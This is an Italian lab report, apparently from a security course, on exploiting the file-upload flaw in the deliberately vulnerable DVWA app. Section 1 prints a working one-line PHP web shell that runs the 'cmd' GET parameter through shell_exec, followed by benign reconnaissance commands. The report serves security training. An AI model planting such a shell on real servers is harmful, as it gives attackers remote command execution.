**Report di Penetrazione su DVWA Utilizzando Shell PHP**

Obiettivo dell'Esercizio

L'obiettivo era sfruttare una vulnerabilità di caricamento file nella DVWA per eseguire comandi arbitrari sul server target tramite una shell PHP minimale.

**Ambiente di Test**

Damn Vulnerable Web Application (DVWA)

**-Strumenti Utilizzati:** Burp Suite per l'intercettazione delle richieste browser web

Procedura e Risultati

**1. Caricamento della Shell PHP**

- Una shell PHP è stata caricata con successo nella directory `/uploads` della DVWA. Questa shell permette di eseguire comandi sul server tramite parametri GET.

<?php

if(isset($\_GET['cmd'])) {

echo '<pre>' . shell\_exec($\_GET['cmd']) . '</pre>';

}

?>

**2. Esecuzione dei Comandi**

**- Comando `whoami`:** Utilizzato per identificare l'utente sotto il quale il server web (e PHP) sta eseguendo i comandi. La risposta è stata `www-data`, indicando che i comandi sono eseguiti con le credenziali dell'utente del server web, tipicamente con privilegi limitati.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Risposta**

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**- Comando `pwd`:** Stampa il "present working directory", ovvero la directory corrente del server. La risposta è stata `/var/www/dvwa/hackable/uploads`, che mostra dove la shell è stata caricata.

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene schermata, testo, software, computer

Descrizione generata automaticamente

**- Comando `ls -la`:** Elenca tutti i file nella directory corrente, mostrando dettagli come permessi, proprietario, e dimensione. Questo ha evidenziato la presenza di vari file PHP, probabilmente caricamenti precedenti o file di sistema.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Risposta**

Immagine che contiene schermata, testo, software, Icona del computer

Descrizione generata automaticamente

**- Comando `ls`:** Versione più semplice di `ls -la`, elenca i file nella directory corrente senza dettagli aggiuntivi.

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**Risposta**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**Analisi delle Richieste HTTP**

Le richieste HTTP intercettate con Burp Suite mostrano chiaramente come i comandi sono stati iniettati tramite la query string nel parametro `cmd`. Ogni richiesta inviata era ben formata e rispecchiava l'input dell'utente senza filtraggio, confermando la vulnerabilità.

**Implicazioni di Sicurezza**

L'abilità di eseguire comandi arbitrari tramite una shell caricata indica una significativa vulnerabilità di sicurezza nel sistema. L'identità dell'utente `www-data` e la directory di lavoro evidenziano un ambiente con potenziali restrizioni, ma l'accesso ottenuto può ancora permettere attività dannose.

**Conclusioni**

Questo test dimostra l'importanza di valutare e rinforzare continuamente le misure di sicurezza in applicazioni web esposte, specialmente quelle che permettono upload di file da parte degli utenti.

Utilizzo di una shell PHP più sofisticata

Codice e spiegazione

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Il codice PHP mostrato nell'immagine implementa una shell interattiva via web. Questo tipo di tool permette all'utente di eseguire comandi direttamente sul server che ospita la pagina web, attraverso un'interfaccia utente semplice basata su browser.

**1. Interfaccia Utente:** L'interfaccia utente è definita con HTML e CSS e include un form dove gli utenti possono inserire comandi.

**2. Ricezione ed Esecuzione del Comando:** Quando un comando viene inserito e inviato, il server riceve questo input tramite una richiesta GET.

**1. Comando `ls -la`:**

**- Scopo:** Visualizza un elenco dettagliato di tutti i file e le directory nella directory corrente, inclusi i file nascosti.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**2. Comando `cat Meta.php`:**

**- Scopo:** Visualizza il contenuto del file `Meta.php`.

Immagine che contiene testo, schermata, computer, software

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**3. Comando `touch Epicode.txt`:**

**- Scopo:** Il comando `touch` seguito dal nome di un file viene utilizzato per creare un nuovo file vuoto. Se non viene specificato un percorso, il file sarà creato nella directory corrente in cui viene eseguito il comando.

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**4.Comando `php --version`:**

**- Scopo:** Visualizza la versione di PHP attualmente installata sul sistema.

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene testo, software, Icona del computer, computer

Descrizione generata automaticamente

**5. Comando `mysql --version`:**

**- Scopo**: Visualizza la versione di MySQL (se installato) attualmente sul sistema.

Immagine che contiene testo, software, Icona del computer, computer

Descrizione generata automaticamente

**Risposta:**

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente